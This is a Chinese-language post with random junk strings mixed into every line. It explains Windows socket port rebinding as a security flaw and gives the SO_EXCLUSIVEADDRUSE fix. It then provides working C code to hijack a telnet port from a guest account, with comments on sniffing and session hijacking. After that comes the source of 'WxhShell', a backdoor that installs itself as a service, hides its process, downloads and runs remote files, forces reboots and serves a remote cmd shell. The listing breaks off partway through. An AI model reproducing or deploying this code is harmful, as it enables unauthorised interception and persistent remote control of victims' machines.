在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
%W(^6p! s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
xF&6e&nv \/n+j! saddr.sin_family = AF_INET;
VXA[TIqp f#1/}Hq/I saddr.sin_addr.s_addr = htonl(INADDR_ANY);
Cc2MYm8 :Pc(DfkS bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
[M`=HhJ4 d<!IGt4Ky 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
sp^Wo7&g UAdz-)$ 这意味着什么?意味着可以进行如下的攻击:
|4Qx=x> p:Oz<P 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
-'j7SOGk hzv3F9.x 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
N0nj` "$r1$mBi 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
+N7"EROc vf[&7n 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
\Y+") w=|py>% 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
wE?CvL JwB"\&'1ZS 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
cu)U7 -A}zJBcR 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
"w9`cz9a~J l~NEGb #include
z"EWj73 #include
0 k9<& #include
q~j)W$k #include
se#@)LtZ DWORD WINAPI ClientThread(LPVOID lpParam);
MF^_Z3GS' int main()
[z2eCH {
S!`:E WORD wVersionRequested;
VNO'="U DWORD ret;
\X5 3|Y;= WSADATA wsaData;
9)Ly}Kzx BOOL val;
*,0+RAS vq SOCKADDR_IN saddr;
YtpRy%
R SOCKADDR_IN scaddr;
&8n? int err;
?~Pv3'%d SOCKET s;
&sdx`, SOCKET sc;
_KN:
o10U int caddsize;
Ev{MCu1!6 HANDLE mt;
w:Ra7ExP DWORD tid;
iy}xICt wVersionRequested = MAKEWORD( 2, 2 );
IkQe~;Y err = WSAStartup( wVersionRequested, &wsaData );
_$5@uL{n"^ if ( err != 0 ) {
s%O Y<B@V2 printf("error!WSAStartup failed!\n");
4vLw?_". return -1;
>L=;"+B0U& }
^&NN]? saddr.sin_family = AF_INET;
e8-ehs> t3a#%'Dv //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
e^8BV;+c *7Xzht&f saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
(-(QDRxK saddr.sin_port = htons(23);
Gc'M[9Mh if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
4gb'7' {
Y&5.9 s@' printf("error!socket failed!\n");
"Vy WT return -1;
l
sr?b }
+(&|u q^ val = TRUE;
T
pD; //SO_REUSEADDR选项就是可以实现端口重绑定的
*{|$FQnR>( if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
oqYt/4^Q {
ceG&,a$\ printf("error!setsockopt failed!\n");
A?r^V2+j return -1;
'g hys1H }
NH4?q!'G //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
SO_>c+Dw //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
qe%V#c //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
#Kl}= 1
4 [,b)YjO~Xd if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
#1gO?N(<= {
;{gT=,KQ` ret=GetLastError();
O1'K>teF% printf("error!bind failed!\n");
+`Pmq}ey return -1;
W-m"@<Z }
E30Z`$cz: listen(s,2);
MMd.0JuaO while(1)
`XgFga) {
p/&HUQQk caddsize = sizeof(scaddr);
P0 b4Hq3 //接受连接请求
Du!._ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
V^sc1ak1Q if(sc!=INVALID_SOCKET)
P,ydt {
`*k@4.J{ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
'Wp@b678 if(mt==NULL)
\0&SI1Yp {
?4[NNL printf("Thread Creat Failed!\n");
RB;BQoGX break;
o(fy d)t }
fEwifSp. }
O aaH$B CloseHandle(mt);
D5L{T+}Oi% }
i*CnoQH closesocket(s);
)4m_Ap\ WSACleanup();
d.AC%&W return 0;
esI'"hVJ }
Ww`&i DWORD WINAPI ClientThread(LPVOID lpParam)
<u0,Fp {
eGvOA\y: SOCKET ss = (SOCKET)lpParam;
:tbd,Uo SOCKET sc;
6 64q~_@B1 unsigned char buf[4096];
7n&yv9" SOCKADDR_IN saddr;
p+ Lv=e)0u long num;
2*'ciH37 DWORD val;
U\bC0q DWORD ret;
sLhDO'kM //如果是隐藏端口应用的话,可以在此处加一些判断
) rpq+~b //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
3{RL \gh$" saddr.sin_family = AF_INET;
`eD1|Go9 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
!8/gL saddr.sin_port = htons(23);
6$RpV'xz if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
&F6C {
u"Y]P*[k printf("error!socket failed!\n");
0OWL return -1;
Hi8Y6|y$D }
(a#pvEY val = 100;
&*gbK6JB if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
QBihpA1; {
^l(^z fsZ ret = GetLastError();
^P$7A]! return -1;
FYl3c }
$[z<oN_Q if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
WcEt%mGQ, {
Nfb`YU= ret = GetLastError();
X-/Ban return -1;
>];"N{ A }
S>t>6&A if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
OZOb1D {
[r9d<Zi}{ printf("error!socket connect failed!\n");
nzuF]vo closesocket(sc);
xS+rHC closesocket(ss);
~Z/7pP+ return -1;
"%
Y u
wMY }
>|
m.?{^ while(1)
fp;a5||5 {
bEI!Ja //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
s
MZ[d\ //如果是嗅探内容的话,可以再此处进行内容分析和记录
39D } //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
BS2?!;,8 num = recv(ss,buf,4096,0);
N!c
gN if(num>0)
S(t{&+Wc send(sc,buf,num,0);
+tUQ else if(num==0)
w}`3 d@ break;
hSMV&Cs num = recv(sc,buf,4096,0);
P
{H{UKs# if(num>0)
Le@?
/ send(ss,buf,num,0);
sfI N)jh else if(num==0)
BX3lPv break;
i0ybJOa4 }
LNiS`o\ closesocket(ss);
a.,_4;'UE1 closesocket(sc);
+)gB9DoK return 0 ;
[ {cC }
`{}@@] &J(!8y*QyE v3-?CQb( ==========================================================
I%xn,u Xw^X&Pp 下边附上一个代码,,WXhSHELL
"&-C$J5
Id uvv.WbZ ==========================================================
GYoseqZM .'lN4x #include "stdafx.h"
&HL{LnLP@/ oD0EOT/E #include <stdio.h>
H[nz]s #include <string.h>
7zGMkl #include <windows.h>
&yLc1#H #include <winsock2.h>
O?E6xc<8 #include <winsvc.h>
j@ v-| #include <urlmon.h>
YoAg f:vD`Fz1 #pragma comment (lib, "Ws2_32.lib")
5\S&)ZA@ #pragma comment (lib, "urlmon.lib")
98UlNP h=[-Er'B #define MAX_USER 100 // 最大客户端连接数
xa#gWIP* #define BUF_SOCK 200 // sock buffer
N-%#\rPq. #define KEY_BUFF 255 // 输入 buffer
Pux)>q] C @T7PZB&xnl #define REBOOT 0 // 重启
c<tmj{$
#define SHUTDOWN 1 // 关机
J"&y|;G q"nGy#UWR #define DEF_PORT 5000 // 监听端口
zs8I v<&v]!nF #define REG_LEN 16 // 注册表键长度
!nzGH*td #define SVC_LEN 80 // NT服务名长度
K7RKF$Z\ oAz<G // 从dll定义API
x'i0KF typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
}n[Bq# typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
,`
o+ ? typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
U~/ID typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
VDiOO )
,Npv3( // wxhshell配置信息
?Aw3lH#: struct WSCFG {
0N5bPb int ws_port; // 监听端口
!Uy>eji} char ws_passstr[REG_LEN]; // 口令
)!,@m>0v{ int ws_autoins; // 安装标记, 1=yes 0=no
j38 6gL char ws_regname[REG_LEN]; // 注册表键名
+c?ie4 char ws_svcname[REG_LEN]; // 服务名
7K :FeW'N char ws_svcdisp[SVC_LEN]; // 服务显示名
-tyaE char ws_svcdesc[SVC_LEN]; // 服务描述信息
yVYkuO char ws_passmsg[SVC_LEN]; // 密码输入提示信息
>76 |:Nq int ws_downexe; // 下载执行标记, 1=yes 0=no
Q|//Z char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
s<VJ`Ur char ws_filenam[SVC_LEN]; // 下载后保存的文件名
LyP`{_"CM a}yR p };
o? \Gm :mp$\=
// default Wxhshell configuration
tJm{I)G struct WSCFG wscfg={DEF_PORT,
Tf[dZ(+\ "xuhuanlingzhe",
f{_)rsqf 1,
WZK
:.y "Wxhshell",
}`]]b+_b>@ "Wxhshell",
#Fzb8Yo "WxhShell Service",
mz-N{ >k "Wrsky Windows CmdShell Service",
"tX7%( "Please Input Your Password: ",
^ZVOql& 1,
~`[8"YUL "
http://www.wrsky.com/wxhshell.exe",
vJThU$s- "Wxhshell.exe"
8A4TAT4, };
3#mE(
`|P 24X=5Aj // 消息定义模块
XtzOFx/ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
yHOqzq56 char *msg_ws_prompt="\n\r? for help\n\r#>";
-TZ^ ~s char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
"XB4yExy char *msg_ws_ext="\n\rExit.";
w%2ziwgh char *msg_ws_end="\n\rQuit.";
d?}hCo=/Xq char *msg_ws_boot="\n\rReboot...";
^U{P3%uZ char *msg_ws_poff="\n\rShutdown...";
JWWInuH char *msg_ws_down="\n\rSave to ";
{*fUJmao" 5M.Red.L char *msg_ws_err="\n\rErr!";
T 9MzUV& char *msg_ws_ok="\n\rOK!";
UM\}aq=, # JFYws char ExeFile[MAX_PATH];
'M-)Os" int nUser = 0;
)Y[/! HANDLE handles[MAX_USER];
0%H24N
9. int OsIsNt;
}5hZo%w[n 6>uQt:e SERVICE_STATUS serviceStatus;
U!NI_uk SERVICE_STATUS_HANDLE hServiceStatusHandle;
kQ[Jo%YT?E |Eu*P // 函数声明
mtX31M4 int Install(void);
Gw`/.0 int Uninstall(void);
c_DaNEfaY int DownloadFile(char *sURL, SOCKET wsh);
-R8/`M8GbD int Boot(int flag);
//tT8HX void HideProc(void);
#/s7\2 int GetOsVer(void);
b=G4MZQ int Wxhshell(SOCKET wsl);
Yx 3|G void TalkWithClient(void *cs);
q;No"_aAd int CmdShell(SOCKET sock);
Hh\
4MNl int StartFromService(void);
MYu`c[$jZ int StartWxhshell(LPSTR lpCmdLine);
O$U}d-Xnx l.uN$B VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
Z*Zc]hD VOID WINAPI NTServiceHandler( DWORD fdwControl );
0<3E AHWh}~Yi // 数据结构和表定义
p9Z].5Pd" SERVICE_TABLE_ENTRY DispatchTable[] =
BjB&[5?z {
"]<w x_!+} {wscfg.ws_svcname, NTServiceMain},
0}D-KvjyP {NULL, NULL}
4uPH };
H7}g!n? L9$&-A9ix // 自我安装
T?#s'd int Install(void)
i0b.AA {
\#2
s4RCji char svExeFile[MAX_PATH];
[\a:4vDAbi HKEY key;
^8Z@^M&O" strcpy(svExeFile,ExeFile);
]2PQ X4t0 y]7%$*
< // 如果是win9x系统,修改注册表设为自启动
jQ)L pjS1 if(!OsIsNt) {
U Q)!|@& if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
/Bh> RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
HS(U4 RegCloseKey(key);
Enu!u~1]F if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
v`
$%G RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
[0wP\{% RegCloseKey(key);
^glX1 ) return 0;
m^'~&!ba }
;*nh=w }
)O9f hj) }
D(!;V
KH else {
B#QL M^ CX]RtV! // 如果是NT以上系统,安装为系统服务
#s*k|
j} SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
p%tE v if (schSCManager!=0)
9uKOR7.zbo {
@`5QG2 SC_HANDLE schService = CreateService
<>VIDE (
7:z>+AM[r schSCManager,
"oHp.$+K wscfg.ws_svcname,
#t){ 4J wscfg.ws_svcdisp,
k]t,q$Vd SERVICE_ALL_ACCESS,
xna7kA SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
'y< t/qo SERVICE_AUTO_START,
b By'v/ SERVICE_ERROR_NORMAL,
CcBQo8!G svExeFile,
ccRlql( NULL,
)4@M`8 NULL,
J`4Z<b53 NULL,
DQ%`v= NULL,
c!.=%QY NULL
0h^uOA; c );
vf6`s\6 if (schService!=0)
5QKRI)XpZ {
dJloH)uJZ> CloseServiceHandle(schService);
04P.p6 CloseServiceHandle(schSCManager);
c^rC8E strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
*U:VM'a strcat(svExeFile,wscfg.ws_svcname);
G aha Z
F if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
oN_S}o
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
#,t2*tM RegCloseKey(key);
P`7ojXy return 0;
uijq@yo8- }
/g13X,.H }
n'q
aR<bY CloseServiceHandle(schSCManager);
$K`_
K#A }
4A;[sm^f }
dUI3erO Rk}\)r\ return 1;
iK ohuZr }
]U_5\$ b*cW<vX}~ // 自我卸载
:b.3CL\.6 int Uninstall(void)
a:=q8Qy {
n; Lo HKEY key;
4s[`yV
\)FeuLGL9 if(!OsIsNt) {
7F,07\c if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Jw2B&)k/ RegDeleteValue(key,wscfg.ws_regname);
2r
%>]y RegCloseKey(key);
?$UH9T9) if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
S4;wa6 RegDeleteValue(key,wscfg.ws_regname);
+G<}JJ'V RegCloseKey(key);
>?^~s(t return 0;
:uOZjEZi }
z`c%?_EK }
!>CE(;E>z }
" ]aQ Hh]f else {
>_rzT9gX& vEu
Ka<5 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
]\[m=0K if (schSCManager!=0)
f+*J
ue {
n/ui<&( SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
i6-wf Gs; if (schService!=0)
+= X).X0K {
b\kN_ if(DeleteService(schService)!=0) {
l R:Ok8e CloseServiceHandle(schService);
s]$HkSH CloseServiceHandle(schSCManager);
l\q*%'Pe return 0;
"9c.C I }
!Sh^LYqn CloseServiceHandle(schService);
8:Z@ lp^ }
Ly#h|) CloseServiceHandle(schSCManager);
<9Lv4`]GU5 }
O<}ep)mr }
'CP/ym f/a 4JX`>a{< return 1;
aO~si= }
f$:7A0 \4[c}l // 从指定url下载文件
QH@Q\
@, int DownloadFile(char *sURL, SOCKET wsh)
J xA^DH {
.OVW4svX HRESULT hr;
\(.nPW]9 char seps[]= "/";
ZA*b9W char *token;
1x~%Ydy char *file;
kvMk:. char myURL[MAX_PATH];
ti$oZ4PpF char myFILE[MAX_PATH];
[W^6u7~ d$2@, strcpy(myURL,sURL);
'5|Q<5!o token=strtok(myURL,seps);
@4 zi]v while(token!=NULL)
dzjB UD {
:BewH?Ku file=token;
AzLbD2Pl token=strtok(NULL,seps);
N?MJ#lC
F }
tIn7(C [;>zqNy GetCurrentDirectory(MAX_PATH,myFILE);
-/(DPx strcat(myFILE, "\\");
-mev%lV strcat(myFILE, file);
W0+gfg send(wsh,myFILE,strlen(myFILE),0);
c8bca` send(wsh,"...",3,0);
7\7 Brw4 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
?z \q Mu if(hr==S_OK)
F&W0DaH return 0;
.ujs`9d_- else
\_*?R,$3Y, return 1;
S5:"_U 47)+'` }
v`[Tl %v?jG(o // 系统电源模块
J6@(X8w{j int Boot(int flag)
^4xlZouCb {
&&(4n?
HANDLE hToken;
%Y)PH-z TOKEN_PRIVILEGES tkp;
5 {T9* EIq{C-( if(OsIsNt) {
Ze$^UR OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
x&hvFG3 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
Hrd5p+j tkp.PrivilegeCount = 1;
OPvj{Dv$0 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
jRv;D#Hp AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
s)=!2A Y if(flag==REBOOT) {
VfL]O 8P> if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
8Pr&F return 0;
FbNH+? }
lfU"SSQ else {
N>&{Wl'y \ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
_ 6+,R return 0;
"?2 }
aH5t.x79b }
D\45l else {
ifJv~asp if(flag==REBOOT) {
ue6/EN;} if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
,$MWk(S return 0;
nvO% }
EuKrYY] g else {
;#5-.z if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
7AGZu?1]M return 0;
L:t)$iF5+ }
%KJ"rvi4K }
(c|$+B^* Jf%!I return 1;
S7?f5ux }
O+(. 29 fd!pM4"0 // win9x进程隐藏模块
;w>3,ub(0 void HideProc(void)
.NV)hg)|cZ {
<'>d0:>N ])Q9=?Sd} HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
U(S@1i( if ( hKernel != NULL )
EO o'a {
K,lK\^y pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
X <ba|( ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
`'G),{ j FreeLibrary(hKernel);
^G'yaaLXR }
haEZp6Z z{D$~ ob return;
G:h;C].
}
2g ?Jb5) =FtM;(\ // 获取操作系统版本
F- !}dzO int GetOsVer(void)
*7xQp!w^ {
+YQ)}v OSVERSIONINFO winfo;
^td!g1"< winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
(x1"uy7_ GetVersionEx(&winfo);
S+_A
<p if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
4AJu2Hp return 1;
;*>QG6Fh else
9:CVN@E return 0;
~
X]"P4 u }
o5*74Mv h|c:!VN@ // 客户端句柄模块
@mQ/WYs int Wxhshell(SOCKET wsl)
2#$}yP~ {
QN2*]+/h SOCKET wsh;
T;:',T[G struct sockaddr_in client;
cdek^/ DWORD myID;
uusY,Dt/9 :N*q;j> while(nUser<MAX_USER)
y :i[~ y {
Kd`l[56# int nSize=sizeof(client);
+e\:C~2f28 wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
Q?Bjq> if(wsh==INVALID_SOCKET) return 1;
_Ssv:xc, '$kS]U handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
XqE55Jclp if(handles[nUser]==0)
TeGLAt
closesocket(wsh);
6bRQL}[ else
k<j)?_=` nUser++;
T|BY00Sz` }
jziA;6uL WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
1v[#::Bs _Sk<S return 0;
;8%@Lan }
?VOs:sln mk[d7Yt{O // 关闭 socket
QAOk void CloseIt(SOCKET wsh)
R+ #.bQg {
@0/@p"j closesocket(wsh);
-+
IX[ nUser--;
p@N Er,GB ExitThread(0);
WrK^> }
2\z`G B!E<uVC // 客户端请求句柄
0o"<^]
_| void TalkWithClient(void *cs)
@WDqP/4 {
X/;"CM e u=f-HW] SOCKET wsh=(SOCKET)cs;
[r/Seg" char pwd[SVC_LEN];
kGBl)0pr`x char cmd[KEY_BUFF];
i*cE char chr[1];
@h7GTA \ int i,j;
7z P T h- vG while (nUser < MAX_USER) {
L/ICFa.G S}xDB if(wscfg.ws_passstr) {
bcx{_&1p if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
w3?t})PB& //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
NM.f0{:cj //ZeroMemory(pwd,KEY_BUFF);
<,]CVo i=0;
g!kRa.`u1 while(i<SVC_LEN) {
{</$ObK xz+`]Q // 设置超时
$qyM
X[ fd_set FdRead;
nO.+&kA struct timeval TimeOut;
yg[Oy#^ FD_ZERO(&FdRead);
Uf]Pd)D FD_SET(wsh,&FdRead);
o j4)7{ TimeOut.tv_sec=8;
tL4]6u TimeOut.tv_usec=0;
YDzF( ']o: int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
Xde=}9 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
r0$9c 5tCq}]q#P if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
*ej o6> pwd
=chr[0]; hjp?/i%TQ
if(chr[0]==0xd || chr[0]==0xa) { FLnAN;
pwd=0; @XG`D>%k
break; fN%5D z-e
} [Oy2&C
i++; <!HDtN
} 2'^OtM,
7;s0m0<%~
// 如果是非法用户,关闭 socket PQ#-.K
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); md
+`#-D\O
} FCB/FtI0
j8A R#
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); e=Tc(Mwn
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); AkQFb2|ir
J1ro\"
while(1) { )xy{[ K|M(
S@2Jj>3D?
ZeroMemory(cmd,KEY_BUFF); Jz8#88cY
UHl/AM>!
// 自动支持客户端 telnet标准 TV>R(D3T/
j=0; n[S*gX0
while(j<KEY_BUFF) { CpdY)SMSL
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #K*q(ei,7h
cmd[j]=chr[0]; 7
,~Krzv
if(chr[0]==0xa || chr[0]==0xd) { GIl{wd
cmd[j]=0; ZrT|~$*m`
break; NbMH@6%E
} L#MxB|fcr
j++; mpJ_VS`
} |2` $g
{YLJKu!M
// 下载文件 U1tPw`0h
if(strstr(cmd,"http://")) { {$=%5
send(wsh,msg_ws_down,strlen(msg_ws_down),0); D(?#oCCA
if(DownloadFile(cmd,wsh)) d"uM7PMs7x
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'QS~<^-j"
else *"L:"i`*$
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `,=p\g|D
} qiJ;v1
else { <[??\YOc
9
f/tNQ7W
switch(cmd[0]) { EB<tX`Wp
j-\u_#kx%
// 帮助 4B>|Wft{p]
case '?': { a m%{M7":7
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); {]N?DmF
break; mw.aavB
} *M5C*}dl
// 安装 ;8kfgpM_
case 'i': { 0tyU%z{RV
if(Install()) 82l";;n4p
send(wsh,msg_ws_err,strlen(msg_ws_err),0);
0$uS)J\;K
else +6E<+-N
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (~o+pp!
break; 5mBk[{
} OPh@H.)^
// 卸载 ai2}vR
case 'r': { 5n#&Hjb*F0
if(Uninstall()) uf3 gVS_h=
send(wsh,msg_ws_err,strlen(msg_ws_err),0); nJw1Sl5
else Z)4P>{
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P1jkoJ
break; Dn!V)T
} N|d@B{a(
// 显示 wxhshell 所在路径 %%u4('=
case 'p': { LRgk9*@,
char svExeFile[MAX_PATH]; 4K% YS
strcpy(svExeFile,"\n\r"); "fwuvT
1
strcat(svExeFile,ExeFile); <VPtbM@(m
send(wsh,svExeFile,strlen(svExeFile),0); !qq@F%tv
break; 1Pc'wfj
} 7%WI
// 重启 O;tn5
case 'b': { Vt>E\{@[t
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Fv
B2y8&W
if(Boot(REBOOT)) IRY2H#:$
send(wsh,msg_ws_err,strlen(msg_ws_err),0); \NRRN eu|
else { %M:"Ai5:
closesocket(wsh); JJO"\^,;~
ExitThread(0); 3M`J.>
} ea/6$f9^
break; N~YeAe~+
} **[p{R]8o
// 关机 b*7i&q'H
case 'd': { Nrh`DyF0D!
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ~yg9ZM
if(Boot(SHUTDOWN)) \:S8mDI^s
send(wsh,msg_ws_err,strlen(msg_ws_err),0); c0~'5Mlp
else { X*&r/=
closesocket(wsh); 1owoh,V6
ExitThread(0); kM@,^`&
} FUqiP(A
break; 7va%-&.&t
} _9dV
3I
// 获取shell TY}?>t+
case 's': { 7[PXZT
CmdShell(wsh); eX/$[SL[
closesocket(wsh); ~f:fOrLE#
ExitThread(0); 2J5dZYW
break; 'Z[R*Ikzq
} SQ[}]Tm;n
// 退出 yO)Qg*r
case 'x': { bE{`g]C5
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); c1f6RCu$b
CloseIt(wsh); {z7{ta
break; /WMLr5
} ,b8AB_yw
// 离开 q]aRJ`9f
case 'q': { {_JLmyaerZ
send(wsh,msg_ws_end,strlen(msg_ws_end),0); I <7K^j+5:
closesocket(wsh); zq#o8))4X
WSACleanup(); ),_bDI L+
exit(1); 4C$,X!kzF
break; ))Nc|`
} 9z?F_=PB!
} l d@^$
} Lv"83$^S9
w K+2;*bI
// 提示信息 =W6P>r_
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :zCm$@
} u'C4d6\wS
} a]*^uEs
DRnXo-Aaj
return; -p1arA
} )xeVoAg
7hc(]8eP
// shell模块句柄 BBDOjhik
int CmdShell(SOCKET sock) ETIf x)B-
{ X$a Mf&x
STARTUPINFO si; )c*~Y=f
ZeroMemory(&si,sizeof(si)); z t1Q_;
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; W$&Q.Z
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; *VpQ("
PROCESS_INFORMATION ProcessInfo; X*sF-T$.
char cmdline[]="cmd"; W*)>Tr)o
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ]loO 5
return 0; er_aol e
} W{`;][
;pNfdII(
// 自身启动模式 (-
uk[["3
int StartFromService(void) a36<S0R
{ 9:Y\D.M
typedef struct 4-\a]"c
{ SOm~];[
DWORD ExitStatus; nD_g84us
DWORD PebBaseAddress; {|fA{ Q_R
DWORD AffinityMask; ;RrfE8mGj
DWORD BasePriority; # a3Q<%V
ULONG UniqueProcessId; H/b(dbs
ULONG InheritedFromUniqueProcessId; yP@=x!$
